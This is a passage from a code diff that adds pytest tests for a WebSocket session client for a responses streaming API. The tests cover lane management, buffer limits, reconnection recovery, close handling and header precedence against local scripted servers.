+ socket.send(json.dumps(response_event("created", "large")))
+ assert json.loads(socket.recv(timeout=5))["stream_id"] == "small"
+ socket.send(json.dumps({"type": "response.future", "stream_id": "small", "value": 7}))
+
+ with script_server(script) as url:
+ async with session_for(mode, url, replace(LIMITS, max_response_bytes=1)) as driver:
+ large = driver.session.lane("large")
+ small = driver.session.lane("small")
+ await driver.call(large, "send", {"type": "response.create"})
+ raw = await driver.call(large, "recv")
+ assert raw.type == "response.created"
+ with pytest.raises(ResponsesWebSocketBufferError, match="max_response_bytes"):
+ await driver.call(large, "get_final_response")
+ large.close()
+ await driver.call(small, "send", {"type": "response.create"})
+ assert (await driver.call(small, "recv")).value == 7
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+async def test_accumulates_final_items_and_multipart_output_without_mutating_events(mode: str) -> None:
+ message: dict[str, Any] = {
+ "id": "msg_text",
+ "type": "message",
+ "role": "assistant",
+ "status": "completed",
+ "content": [
+ {"type": "output_text", "text": "one", "annotations": [], "logprobs": []},
+ {"type": "output_text", "text": "two", "annotations": [], "logprobs": []},
+ ],
+ }
+ tool = {"id": "fc_1", "type": "function_call", "call_id": "call_1", "name": "lookup", "arguments": '{"x":1}'}
+
+ def script(socket: ServerConnection) -> None:
+ socket.recv(timeout=5)
+ frames: list[dict[str, Any]] = [
+ response_event("created"),
+ {"type": "response.output_item.done", "output_index": 0, "sequence_number": 2, "item": message},
+ {"type": "response.output_item.done", "output_index": 1, "sequence_number": 3, "item": tool},
+ response_event("completed"),
+ ]
+ del frames[-1]["response"]["output"]
+ for frame in frames:
+ socket.send(json.dumps(frame))
+
+ with script_server(script) as url:
+ async with session_for(mode, url) as driver:
+ lane = driver.session.default
+ await driver.call(lane, "send", {"type": "response.create"})
+ for _ in range(3):
+ await driver.call(lane, "recv")
+ terminal = await driver.call(lane, "recv")
+ assert "output" not in terminal.response.to_dict(exclude_unset=True)
+ final = await driver.call(lane, "get_final_response")
+ assert final.output[0].content[0].text == "one"
+ assert final.output[0].content[1].text == "two"
+ assert final.output[1].arguments == '{"x":1}'
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+async def test_one_session_per_connection_and_duplicate_lane_rejected(mode: str) -> None:
+ connected = threading.Event()
+ with script_server(lambda _: connected.set()) as url:
+ async with session_for(mode, url) as driver:
+ assert await asyncio.to_thread(connected.wait, 5)
+ lane = driver.session.lane("existing")
+ with pytest.raises(ValueError, match="already registered"):
+ driver.session.lane("existing")
+ with pytest.raises(ValueError, match="does not match"):
+ await driver.call(lane, "send", {"type": "response.create", "stream_id": "other"})
+ duplicate = type(driver.session)(driver.session.connection, limits=LIMITS)
+ with pytest.raises(RuntimeError, match="already has"):
+ if mode == "sync":
+ duplicate.__enter__()
+ else:
+ await duplicate.__aenter__()
+
+
+@pytest.mark.parametrize(
+ "limit", ["max_lanes", "max_events_per_lane", "max_events", "max_bytes_per_lane", "max_bytes", "max_response_bytes"]
+)
+@pytest.mark.parametrize("value", [0, -1, True, 1.5, "1"])
+def test_invalid_limits_rejected(limit: str, value: Any) -> None:
+ with pytest.raises(ValueError, match="positive integers"):
+ replace(LIMITS, **{limit: value})
+
+
+@pytest.mark.parametrize("limit", ["max_lanes", "max_events_per_lane", "max_events", "max_bytes_per_lane", "max_bytes"])
+def test_queue_and_lane_limits_cannot_be_unbounded(limit: str) -> None:
+ with pytest.raises(ValueError, match="positive integers"):
+ replace(LIMITS, **{limit: None})
+
+
+async def test_async_cancelled_close_retains_ownership_until_cleanup(monkeypatch: pytest.MonkeyPatch) -> None:
+ close_started = asyncio.Event()
+ finish_close = asyncio.Event()
+ close_finished = asyncio.Event()
+ peer_closed = threading.Event()
+
+ def script(socket: ServerConnection) -> None:
+ with pytest.raises(ConnectionClosedOK):
+ socket.recv(timeout=5)
+ peer_closed.set()
+
+ with script_server(script) as url:
+ async with session_for("async", url) as driver:
+ session = driver.session
+ connection = session.connection
+ transport_close = connection._connection.close
+
+ async def delayed_close(*, code: int = 1000, reason: str = "") -> None:
+ close_started.set()
+ await finish_close.wait()
+ await transport_close(code=code, reason=reason)
+ close_finished.set()
+
+ monkeypatch.setattr(connection._connection, "close", delayed_close)
+ closing = asyncio.create_task(session.close())
+ duplicate = AsyncResponsesWebSocketSession(connection, limits=LIMITS)
+ try:
+ await asyncio.wait_for(close_started.wait(), timeout=5)
+ closing.cancel()
+ with pytest.raises(asyncio.CancelledError):
+ await closing
+ with pytest.raises(RuntimeError, match="already has a WebSocket session"):
+ await duplicate.__aenter__()
+
+ retry = asyncio.create_task(session.close())
+ await asyncio.sleep(0)
+ assert not retry.done()
+ finish_close.set()
+ await asyncio.wait_for(retry, timeout=5)
+ assert close_finished.is_set()
+ assert await asyncio.to_thread(peer_closed.wait, 5)
+
+ async with AsyncResponsesWebSocketSession(connection, limits=LIMITS):
+ # Re-closing the old session cannot release its successor's claim.
+ await session.close()
+ with pytest.raises(RuntimeError, match="already has a WebSocket session"):
+ await AsyncResponsesWebSocketSession(connection, limits=LIMITS).__aenter__()
+ finally:
+ finish_close.set()
+ await session.close()
+ if duplicate._task is not None:
+ await duplicate.close()
+
+
+async def test_sync_close_interrupts_reconnect_backoff() -> None:
+ reconnecting = threading.Event()
+
+ def reconnect(_event: ReconnectingEvent) -> None:
+ reconnecting.set()
+
+ def script(socket: ServerConnection) -> None:
+ socket.recv(timeout=5)
+ socket.close(code=1011)
+
+ with script_server(script) as url:
+ async with session_for(
+ "sync", url, connection_options={"on_reconnecting": reconnect, "initial_delay": 10, "max_delay": 10}
+ ) as driver:
+ session = driver.session
+ await driver.call(session.default, "send", {"type": "response.create", "input": "close during backoff"})
+ assert await asyncio.to_thread(reconnecting.wait, 5)
+ await asyncio.to_thread(session.close)
+ assert not session._thread.is_alive()
+ # A stopped reader must no longer own the connection's session claim.
+ with ResponsesWebSocketSession(session.connection, limits=LIMITS):
+ pass
+
+
+@pytest.mark.parametrize("close_deadline", [False, True])
+async def test_sync_close_during_replacement_handshake(monkeypatch: pytest.MonkeyPatch, close_deadline: bool) -> None:
+ disconnect = threading.Event()
+ opening = threading.Event()
+ release_open = threading.Event()
+ closing = threading.Event()
+
+ def reconnect(_event: ReconnectingEvent) -> ReconnectingOverrides:
+ return {"extra_headers": {"X-Recovery": "fresh"}}
+
+ def script(socket: ServerConnection) -> None:
+ assert socket.request is not None
+ if socket.request.headers.get("X-Recovery") != "fresh":
+ assert disconnect.wait(5)
+ socket.close(code=1011)
+
+ with script_server(script, expected_connections=2) as url:
+ async with session_for(
+ "sync", url, connection_options={"on_reconnecting": reconnect, "initial_delay": 0}
+ ) as driver:
+ session = driver.session
+ connection = session.connection
+ make_ws = connection._make_ws
+ close = connection.close
+ join = session._thread.join
+
+ def delayed_open(query: Any, headers: Any) -> Any:
+ opening.set()
+ assert release_open.wait(5)
+ return make_ws(query, headers)
+
+ def observed_close() -> None:
+ try:
+ close()
+ finally:
+ closing.set()
+
+ monkeypatch.setattr(connection, "_make_ws", delayed_open)
+ monkeypatch.setattr(connection, "close", observed_close)
+ if close_deadline:
+ # Exercise the bounded-close failure without waiting five seconds.
+ def bounded_join(timeout: float) -> None:
+ join(timeout=min(timeout, 0.01))
+
+ monkeypatch.setattr(session._thread, "join", bounded_join)
+ disconnect.set()
+ assert await asyncio.to_thread(opening.wait, 5)
+ stopped = asyncio.create_task(asyncio.to_thread(session.close))
+ try:
+ assert await asyncio.to_thread(closing.wait, 5)
+ if close_deadline:
+ with pytest.raises(RuntimeError, match="reader did not stop"):
+ await stopped
+ # A still-running reader retains ownership until it actually exits.
+ with pytest.raises(RuntimeError, match="already has a WebSocket session"):
+ ResponsesWebSocketSession(connection, limits=LIMITS).__enter__()
+ release_open.set()
+ await asyncio.to_thread(join, 5)
+ if not close_deadline:
+ await stopped
+ assert not session._thread.is_alive()
+ await asyncio.to_thread(session.close)
+ with ResponsesWebSocketSession(connection, limits=LIMITS):
+ pass
+ finally:
+ release_open.set()
+ await asyncio.to_thread(join, 5)
+ monkeypatch.setattr(session._thread, "join", join)
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+async def test_default_lane_can_be_recreated_after_recovery(mode: str) -> None:
+ disconnect = threading.Event()
+
+ def reconnect(_event: ReconnectingEvent) -> ReconnectingOverrides:
+ return {"extra_headers": {"X-Recovery": "fresh"}}
+
+ def script(socket: ServerConnection) -> None:
+ assert socket.request is not None
+ if socket.request.headers.get("X-Recovery") != "fresh":
+ assert json.loads(socket.recv(timeout=5))["input"] == "lost response"
+ assert disconnect.wait(5)
+ socket.close(code=1011)
+ return
+ socket.send(json.dumps({"type": "response.future", "stream_id": "observer", "restored": True}))
+ assert json.loads(socket.recv(timeout=5)) == {"type": "response.create", "input": "restored context"}
+ socket.send(json.dumps({"type": "response.future", "stream_id": "unregistered"}))
+ socket.send(json.dumps(response_event("completed", id="resp_restored")))
+
+ with script_server(script, expected_connections=2) as url:
+ async with session_for(
+ mode, url, connection_options={"on_reconnecting": reconnect, "initial_delay": 0, "max_retries": 1}
+ ) as driver:
+ observer = driver.session.lane("observer")
+ old = driver.session.default
+ await driver.call(old, "send", {"type": "response.create", "input": "lost response"})
+ old.close()
+ disconnect.set()
+ assert (await driver.call(observer, "recv")).restored is True
+ restored = driver.session.lane()
+ assert restored is driver.session.default
+ assert restored is not old
+ with pytest.raises(EOFError, match="detached"):
+ await driver.call(old, "recv")
+ await driver.call(restored, "send", {"type": "response.create", "input": "restored context"})
+ assert (await driver.call(restored, "recv")).stream_id == "unregistered"
+ assert (await driver.call(restored, "get_final_response")).id == "resp_restored"
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+async def test_recovery_send_is_rejected_without_reserving_or_queueing(
+ mode: str, monkeypatch: pytest.MonkeyPatch
+) -> None:
+ start = threading.Event()
+ recovering = threading.Event()
+ allow_reconnect = threading.Event()
+
+ def reconnect(_event: ReconnectingEvent) -> ReconnectingOverrides:
+ recovering.set()
+ return {"extra_headers": {"X-Recovery": "ready"}}
+
+ def script(socket: ServerConnection) -> None:
+ assert socket.request is not None
+ if socket.request.headers.get("X-Recovery") != "ready":
+ assert start.wait(5)
+ socket.close(code=1011)
+ return
+ socket.send(json.dumps({"type": "response.future", "ready": True}))
+ assert json.loads(socket.recv(timeout=5))["input"] == "accepted after recovery"
+ socket.send(json.dumps({"type": "response.future", "accepted": True}))
+
+ with script_server(script, expected_connections=2) as url:
+ async with session_for(
+ mode, url, connection_options={"on_reconnecting": reconnect, "initial_delay": 0, "max_retries": 1}
+ ) as driver:
+ connection = driver.session.connection
+ original_make = connection._make_ws
+ if mode == "sync":
+
+ def make(*args: Any) -> Any:
+ assert allow_reconnect.wait(5)
+ return original_make(*args)
+
+ monkeypatch.setattr(connection, "_make_ws", make)
+ else:
+
+ async def make_async(*args: Any) -> Any:
+ assert await asyncio.to_thread(allow_reconnect.wait, 5)
+ return await original_make(*args)
+
+ monkeypatch.setattr(connection, "_make_ws", make_async)
+ start.set()
+ assert await asyncio.to_thread(recovering.wait, 5)
+ lane = driver.session.default
+ try:
+ with pytest.raises(RuntimeError, match="reconnecting"):
+ await driver.call(lane, "send", {"type": "response.create", "input": "must not be queued"})
+ finally:
+ allow_reconnect.set()
+ assert (await driver.call(lane, "recv")).ready is True
+ await driver.call(lane, "send", {"type": "response.create", "input": "accepted after recovery"})
+ assert (await driver.call(lane, "recv")).accepted is True
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+async def test_uncertain_send_is_not_replayed_after_existing_recovery(
+ mode: str, monkeypatch: pytest.MonkeyPatch
+) -> None:
+ def reconnect(_event: ReconnectingEvent) -> ReconnectingOverrides:
+ return {"extra_headers": {"X-Recovery": "fresh"}}
+
+ def script(socket: ServerConnection) -> None:
+ assert socket.request is not None
+ assert socket.request.headers["Authorization"] == "Bearer fake-contract-key"
+ assert socket.request.headers["X-Client-Only"] == "retained"
+ if socket.request.headers.get("X-Recovery") == "fresh":
+ # The first create reached the peer, but the client saw a write
+ # failure. Recovery must not execute the same request a second time.
+ with pytest.raises(TimeoutError):
+ socket.recv(timeout=0.1)
+ socket.send(json.dumps({"type": "response.future", "restored": True}))
+ else:
+ assert json.loads(socket.recv(timeout=5))["input"] == "synthetic uncertain request"
+ socket.close(code=1011)
+
+ with script_server(script, expected_connections=2) as url:
+ async with session_for(
+ mode,
+ url,
+ connection_options={
+ "on_reconnecting": reconnect,
+ "initial_delay": 0,
+ "max_retries": 1,
+ },
+ client_headers={"x-recovery": "client", "X-Client-Only": "retained"},
+ ) as driver:
+ transport = driver.session.connection._connection
+ original_send = transport.send
+ if mode == "sync":
+
+ def uncertain_send(data: Any) -> None:
+ original_send(data)
+ raise OSError("Synthetic failure after write")
+
+ monkeypatch.setattr(transport, "send", uncertain_send)
+ else:
+
+ async def uncertain_async_send(data: Any) -> None:
+ await original_send(data)
+ raise OSError("Synthetic failure after write")
+
+ monkeypatch.setattr(transport, "send", uncertain_async_send)
+ lane = driver.session.default
+ with pytest.raises(OSError, match="Synthetic failure after write"):
+ await driver.call(lane, "send", {"type": "response.create", "input": "synthetic uncertain request"})
+ assert (await driver.call(lane, "recv")).restored is True
+ with pytest.raises(RuntimeError, match="current response"):
+ await driver.call(lane, "send", {"type": "response.create"})
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+async def test_early_clean_close_is_not_a_completed_response(mode: str) -> None:
+ def script(socket: ServerConnection) -> None:
+ socket.recv(timeout=5)
+ socket.send(json.dumps(response_event("created")))
+ socket.close()
+
+ with script_server(script) as url:
+ async with session_for(mode, url) as driver:
+ lane = driver.session.default
+ await driver.call(lane, "send", {"type": "response.create"})
+ with pytest.raises(EOFError, match="connection closed"):
+ await driver.call(lane, "get_final_response")
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+async def test_closed_idle_lanes_keep_their_ids_and_capacity(mode: str) -> None:
+ connected = threading.Event()
+ with script_server(lambda _: connected.set()) as url:
+ async with session_for(mode, url, replace(LIMITS, max_lanes=2)) as driver:
+ assert await asyncio.to_thread(connected.wait, 5)
+ lane = driver.session.lane("one")
+ with pytest.raises(ResponsesWebSocketBufferError, match="max_lanes"):
+ driver.session.lane("two")
+ lane.close()
+ driver.session.default.close()
+ for stream_id in [None, "one"]:
+ with pytest.raises(ValueError, match="already registered"):
+ driver.session.lane(stream_id)
+ with pytest.raises(ResponsesWebSocketBufferError, match="max_lanes"):
+ driver.session.lane("two")
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+@pytest.mark.parametrize("terminal", ["completed", "failed", "incomplete", "error"])
+async def test_detached_active_lane_reserves_id_and_capacity_after_terminal(mode: str, terminal: str) -> None:
+ release = threading.Event()
+
+ def script(socket: ServerConnection) -> None:
+ assert json.loads(socket.recv(timeout=5))["stream_id"] == "worker"
+ assert release.wait(5)
+ socket.send(json.dumps(response_event("created", "worker", id="resp_old")))
+ event = (
+ {"type": "error", "stream_id": "worker", "error": {"code": "invalid_value", "message": "synthetic"}}
+ if terminal == "error"
+ else response_event(terminal, "worker", id="resp_old")
+ )
+ socket.send(json.dumps(event))
+
+ with script_server(script) as url:
+ async with session_for(mode, url, replace(LIMITS, max_lanes=2)) as driver:
+ old = driver.session.lane("worker")
+ await driver.call(old, "send", {"type": "response.create"})
+ old.close()
+ try:
+ with pytest.raises(ValueError, match="already registered"):
+ driver.session.lane("worker")
+ with pytest.raises(ResponsesWebSocketBufferError, match="max_lanes"):
+ driver.session.lane("another")
+ finally:
+ release.set()
+ # Detached named events remain inspectable without owning a new lane.
+ assert (await driver.call(driver.session.default, "recv")).response.id == "resp_old"
+ assert (await driver.call(driver.session.default, "recv")).type == (
+ "error" if terminal == "error" else f"response.{terminal}"
+ )
+ with pytest.raises(ValueError, match="already registered"):
+ driver.session.lane("worker")
+ with pytest.raises(ResponsesWebSocketBufferError, match="max_lanes"):
+ driver.session.lane("another")
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+@pytest.mark.parametrize("successor", [False, True])
+async def test_detached_lane_reservation_survives_unconsumed_terminal(mode: str, successor: bool) -> None:
+ release = threading.Event()
+
+ def script(socket: ServerConnection) -> None:
+ socket.recv(timeout=5)
+ socket.send(json.dumps(response_event("created", "worker", id="resp_old")))
+ socket.send(json.dumps(response_event("completed", "worker", id="resp_old")))
+ if successor:
+ socket.send(json.dumps(response_event("created", "worker", id="resp_successor")))
+ socket.send(json.dumps({"type": "response.future", "checkpoint": True}))
+ assert release.wait(5)
+ if successor:
+ socket.send(json.dumps(response_event("completed", "worker", id="resp_successor")))
+
+ with script_server(script) as url:
+ async with session_for(mode, url) as driver:
+ old = driver.session.lane("worker")
+ await driver.call(old, "send", {"type": "response.create"})
+ assert (await driver.call(driver.session.default, "recv")).checkpoint
+ old.close()
+ try:
+ with pytest.raises(ValueError, match="already registered"):
+ driver.session.lane("worker")
+ finally:
+ release.set()
+ if successor:
+ assert (await driver.call(driver.session.default, "recv")).response.id == "resp_successor"
+ with pytest.raises(ValueError, match="already registered"):
+ driver.session.lane("worker")
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+@pytest.mark.parametrize("terminal", ["completed", "incomplete"])
+@pytest.mark.parametrize("stream_id", [None, "worker"])
+async def test_closed_lane_cannot_be_reassigned_before_delayed_steering_successor(
+ mode: str, terminal: str, stream_id: str | None
+) -> None:
+ release = threading.Event()
+
+ def script(socket: ServerConnection) -> None:
+ assert json.loads(socket.recv(timeout=5)).get("stream_id") == stream_id
+ socket.send(json.dumps(response_event("created", stream_id, id="resp_parent")))
+ assert json.loads(socket.recv(timeout=5)) == {
+ "type": "response.steer",
+ "previous_response_id": "resp_parent",
+ "input": "Change course",
+ }
+ socket.send(json.dumps(response_event(terminal, stream_id, id="resp_parent")))
+ assert release.wait(5)
+ socket.send(json.dumps(response_event("created", stream_id, id="resp_successor")))
+ socket.send(json.dumps(response_event("completed", stream_id, id="resp_successor")))
+ socket.send(json.dumps({"type": "response.future", "stream_id": "observer", "finished": True}))
+
+ with script_server(script) as url:
+ async with session_for(mode, url) as driver:
+ observer = driver.session.lane("observer")
+ old = driver.session.default if stream_id is None else driver.session.lane(stream_id)
+ await driver.call(old, "send", {"type": "response.create"})
+ assert (await driver.call(old, "recv")).response.id == "resp_parent"
+ await driver.call(
+ old,
+ "send",
+ {"type": "response.steer", "previous_response_id": "resp_parent", "input": "Change course"},
+ )
+ assert (await driver.call(old, "get_final_response")).id == "resp_parent"
+ old.close()
+ try:
+ with pytest.raises(ValueError, match="already registered"):
+ driver.session.lane(stream_id)
+ finally:
+ release.set()
+ if stream_id is not None:
+ for kind in ["created", "completed"]:
+ event = await driver.call(driver.session.default, "recv")
+ assert event.type == f"response.{kind}"
+ assert event.response.id == "resp_successor"
+ assert (await driver.call(observer, "recv")).finished
+ with pytest.raises(ValueError, match="already registered"):
+ driver.session.lane(stream_id)
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+async def test_lane_ids_are_validated_before_reserving_capacity(mode: str) -> None:
+ def script(socket: ServerConnection) -> None:
+ for stream_id in ["a", "AZaz09_.-" + "x" * 247]:
+ assert json.loads(socket.recv(timeout=5))["stream_id"] == stream_id
+ socket.send(json.dumps(response_event("completed", stream_id)))
+
+ with script_server(script) as url:
+ async with session_for(mode, url, replace(LIMITS, max_lanes=3)) as driver:
+ invalid_ids: list[object] = [
+ 0,
+ False,
+ [],
+ {},
+ b"worker",
+ "",
+ "x" * 257,
+ "bad id",
+ "bad\n",
+ "bad\x00",
+ "café",
+ "K",
+ ]
+ for invalid in invalid_ids:
+ with pytest.raises(ValueError, match="stream_id"):
+ driver.session.lane(invalid)
+ for stream_id in ["a", "AZaz09_.-" + "x" * 247]:
+ lane = driver.session.lane(stream_id)
+ await driver.call(lane, "send", {"type": "response.create"})
+ assert (await driver.call(lane, "get_final_response")).id == f"resp_{stream_id}"
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+@pytest.mark.parametrize("active", [False, True])
+async def test_detached_lane_is_released_after_reconnect(mode: str, active: bool) -> None:
+ disconnect = threading.Event()
+
+ def reconnect(_event: ReconnectingEvent) -> ReconnectingOverrides:
+ return {"extra_headers": {"X-Recovery": "fresh"}}
+
+ def script(socket: ServerConnection) -> None:
+ assert socket.request is not None
+ if socket.request.headers.get("X-Recovery") != "fresh":
+ if active:
+ socket.recv(timeout=5)
+ assert disconnect.wait(5)
+ socket.close(code=1011)
+ return
+ socket.send(json.dumps({"type": "response.future", "restored": True}))
+ assert json.loads(socket.recv(timeout=5))["stream_id"] == "worker"
+ socket.send(json.dumps(response_event("completed", "worker", id="resp_restored")))
+
+ with script_server(script, expected_connections=2) as url:
+ async with session_for(
+ mode,
+ url,
+ replace(LIMITS, max_lanes=2),
+ connection_options={"on_reconnecting": reconnect, "initial_delay": 0, "max_retries": 1},
+ ) as driver:
+ old = driver.session.lane("worker")
+ if active:
+ await driver.call(old, "send", {"type": "response.create"})
+ old.close()
+ disconnect.set()
+ assert (await driver.call(driver.session.default, "recv")).restored
+ new = driver.session.lane("worker")
+ await driver.call(new, "send", {"type": "response.create"})
+ assert (await driver.call(new, "get_final_response")).id == "resp_restored"
+
+
+@pytest.mark.parametrize("send", [False, True])
+@pytest.mark.parametrize("registered_before_reconnect", [False, True])
+async def test_sync_reconnect_preserves_lanes_registered_on_replacement_socket(
+ send: bool,
+ registered_before_reconnect: bool,
+ monkeypatch: pytest.MonkeyPatch,
+) -> None:
+ disconnect = threading.Event()
+ cleanup_started = threading.Event()
+ allow_cleanup = threading.Event()
+
+ def reconnect(_event: ReconnectingEvent) -> ReconnectingOverrides:
+ return {"extra_headers": {"X-Recovery": "fresh"}}
+
+ def script(socket: ServerConnection) -> None:
+ assert socket.request is not None
+ if socket.request.headers.get("X-Recovery") != "fresh":
+ assert disconnect.wait(5)
+ socket.close(code=1011)
+ return
+ if send:
+ assert json.loads(socket.recv(timeout=5))["stream_id"] == "new"
+ socket.send(json.dumps({"type": "response.future", "restored": True}))
+
+ with script_server(script, expected_connections=2) as url:
+ async with session_for(
+ "sync",
+ url,
+ connection_options={"on_reconnecting": reconnect, "initial_delay": 0, "max_retries": 1},
+ ) as driver:
+ router = driver.session._router
+ reconnected = router.reconnected
+ new = driver.session.lane("new") if registered_before_reconnect else None
+
+ def delayed_cleanup(connection: object) -> None:
+ cleanup_started.set()
+ assert allow_cleanup.wait(5)
+ reconnected(connection)
+
+ monkeypatch.setattr(router, "reconnected", delayed_cleanup)
+ disconnect.set()
+ try:
+ assert await asyncio.to_thread(cleanup_started.wait, 5)
+ if new is None:
+ new = driver.session.lane("new")
+ if send:
+ await driver.call(new, "send", {"type": "response.create"})
+ new.close()
+ finally:
+ allow_cleanup.set()
+ assert (await driver.call(driver.session.default, "recv")).restored
+ with pytest.raises(ValueError, match="already registered"):
+ driver.session.lane("new")
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+async def test_custom_upgrade_headers_preserve_auth_and_connection_precedence(mode: str) -> None:
+ def script(socket: ServerConnection) -> None:
+ assert socket.request is not None
+ headers = socket.request.headers
+ assert headers["Authorization"] == "Bearer fake-contract-key"
+ assert headers["X-Customer-Header"] == "connection value"
+ assert headers["X-Client-Only"] == "from client"
+ assert headers["X-Connection-Only"] == "from connection"
+ assert headers.get_all("X-Customer-Header") == ["connection value"]
+ assert "X-Omit-Me" not in headers
+ assert "User-Agent" not in headers
+ socket.recv(timeout=5)
+ socket.send(json.dumps(response_event("completed")))
+
+ with script_server(script) as url:
+ async with session_for(
+ mode,
+ url,
+ client_headers={
+ "x-customer-header": "client value",
+ "X-Client-Only": "from client",
+ "X-Omit-Me": "removed",
+ },
+ connection_headers={
+ "X-Customer-Header": "connection value",
+ "X-Connection-Only": "from connection",
+ "x-omit-me": omit,
+ "user-agent": omit,
+ },
+ ) as driver:
+ await driver.call(driver.session.default, "send", {"type": "response.create"})
+ assert (await driver.call(driver.session.default, "get_final_response")).id == "resp_default"
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+@pytest.mark.parametrize("inspect_raw", [False, True])
+async def test_detached_lane_events_do_not_change_default_response(mode: str, inspect_raw: bool) -> None:
+ release = threading.Event()
+ orphaned = [
+ response_event("created", "detached"),
+ response_event("completed", "detached"),
+ {"type": "error", "stream_id": "detached", "error": {"code": "invalid_value", "message": "synthetic"}},
+ ]
+
+ def script(socket: ServerConnection) -> None:
+ socket.recv(timeout=5)
+ socket.recv(timeout=5)
+ socket.send(json.dumps(response_event("created")))
+ socket.send(
+ json.dumps(
+ {
+ "type": "response.output_item.done",
+ "output_index": 0,
+ "sequence_number": 2,
+ "item": {
+ "type": "function_call",
+ "id": "fc_1",
+ "call_id": "call_1",
+ "name": "lookup",
+ "arguments": "{}",
+ },
+ }
+ )
+ )
+ assert release.wait(5)
+ for event in orphaned:
+ socket.send(json.dumps(event))
+ terminal = response_event("completed")
+ del terminal["response"]["output"]
+ socket.send(json.dumps(terminal))
+
+ with script_server(script) as url:
+ async with session_for(mode, url) as driver:
+ default = driver.session.default
+ detached = driver.session.lane("detached")
+ await driver.call(default, "send", {"type": "response.create"})
+ await driver.call(detached, "send", {"type": "response.create"})
+ await driver.call(default, "recv")
+ await driver.call(default, "recv")
+ detached.close()
+ release.set()
+ if inspect_raw:
+ for expected in orphaned:
+ assert (await driver.call(default, "recv")).to_dict(exclude_unset=True) == expected
+ with pytest.raises(RuntimeError, match="current response"):
+ await driver.call(default, "send", {"type": "response.create"})
+ final = await driver.call(default, "get_final_response")
+ assert final.id == "resp_default"
+ assert final.output[0].call_id == "call_1"
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+@pytest.mark.parametrize("overflow", [False, True])
+async def test_queue_budget_counts_received_utf8_bytes(mode: str, overflow: bool) -> None:
+ frame = json.dumps(
+ {"type": "response.future", "value": "\u00e9\U0001f600"}, ensure_ascii=False, separators=(",", ":")
+ )
+ budget = len(frame.encode("utf-8")) - int(overflow)
+
+ def script(socket: ServerConnection) -> None:
+ socket.send(frame)
+
+ with script_server(script) as url:
+ async with session_for(mode, url, replace(LIMITS, max_bytes_per_lane=budget)) as driver:
+ if overflow:
+ with pytest.raises(ResponsesWebSocketBufferError):
+ await driver.call(driver.session.default, "recv")
+ else:
+ assert (await driver.call(driver.session.default, "recv")).value == "\u00e9\U0001f600"
+
+
+@pytest.mark.parametrize("mode", ["sync", "async"])
+@pytest.mark.parametrize("response_limit", ["default", "unlimited", "exact", "overflow"])
+async def test_large_response_with_documented_transport_options(mode: str, response_limit: str) -> None:
+ text = "x" * (2 * 1024 * 1024)
+ output: list[dict[str, Any]] = [
+ {
+ "type": "message",
+ "id": "msg_large",
+ "role": "assistant",
+ "status": "completed",
+ "content": [{"type": "output_text", "text": text, "annotations": [], "logprobs": []}],
+ }
+ ]
+ created = json.dumps(response_event("created")).encode("utf-8")
+ frame = json.dumps(response_event("completed", output=output)).encode("utf-8")
+ release = threading.Event()
+ limits = ResponsesWebSocketLimits(
+ max_lanes=LIMITS.max_lanes,
+ max_events_per_lane=LIMITS.max_events_per_lane,
+ max_events=LIMITS.max_events,
+ max_bytes_per_lane=len(frame),
+ max_bytes=len(frame),
+ )
+ if response_limit != "default":
+ budget = (
+ None if response_limit == "unlimited" else len(created) + len(frame) - int(response_limit == "overflow")
+ )
+ limits = replace(limits, max_response_bytes=budget)
+
+ def script(socket: ServerConnection) -> None:
+ socket.recv(timeout=5)
+ socket.send(created)
+ # Drain the first event so queue limits do not mask accumulation behavior.
+ assert release.wait(5)
+ socket.send(frame)
+
+ with script_server(script) as url:
+ async with session_for(
+ mode,
+ url,
+ limits,
+ connection_options={"websocket_connection_options": {"max_size": None}},
+ ) as driver:
+ await driver.call(driver.session.default, "send", {"type": "response.create"})
+ assert (await driver.call(driver.session.default, "recv")).type == "response.created"
+ release.set()
+ if response_limit == "overflow":
+ with pytest.raises(ResponsesWebSocketBufferError, match="max_response_bytes"):
+ await driver.call(driver.session.default, "get_final_response")
+ else:
+ response = await driver.call(driver.session.default, "get_final_response")
+ assert response.output[0].content[0].text == text
+
+
+async def test_sync_close_progresses_while_command_iterable_is_paused() -> None:
+ entered = threading.Event()
+ release = threading.Event()
+
+ def tools() -> Generator[dict[str, Any], None, None]:
+ entered.set()
+ assert release.wait(10)
+ yield {"type": "web_search"}
+
+ def script(socket: ServerConnection) -> None:
+ # Closing during serialization must not send a request.
+ with pytest.raises(ConnectionClosedOK):
+ socket.recv(timeout=10)
+
+ with script_server(script) as url:
+ async with session_for("sync", url) as driver:
+ send = asyncio.create_task(
+ driver.call(driver.session.default, "send", {"type": "response.create", "tools": tools()})
+ )
+ close = None
+ try:
+ assert await asyncio.to_thread(entered.wait, 5)
+ close = asyncio.create_task(asyncio.to_thread(driver.session.close))
+ await asyncio.wait_for(asyncio.shield(close), timeout=5)
+ finally:
+ release.set()
+ if close is not None:
+ await close
+ with pytest.raises(RuntimeError, match="not active"):
+ await send
+
+
+async def test_sync_recovery_start_during_serialization_preserves_lane() -> None:
+ disconnect = threading.Event()
+ reconnecting = threading.Event()
+ continue_recovery = threading.Event()
+
+ def reconnect(_event: ReconnectingEvent) -> ReconnectingOverrides:
+ reconnecting.set()
+ assert continue_recovery.wait(10)
+ return {"extra_headers": {"X-Recovery": "fresh"}}
+
+ def tools() -> Generator[dict[str, Any], None, None]:
+ disconnect.set()
+ assert reconnecting.wait(5)
+ yield {"type": "web_search"}
+
+ def script(socket: ServerConnection) -> None:
+ assert socket.request is not None
+ if socket.request.headers.get("X-Recovery") != "fresh":
+ assert disconnect.wait(5)
+ socket.close(code=1011)
+ return
+ socket.send(json.dumps({"type": "response.future", "ready": True}))
+ assert json.loads(socket.recv(timeout=5)) == {"type": "response.create", "input": "restored context"}
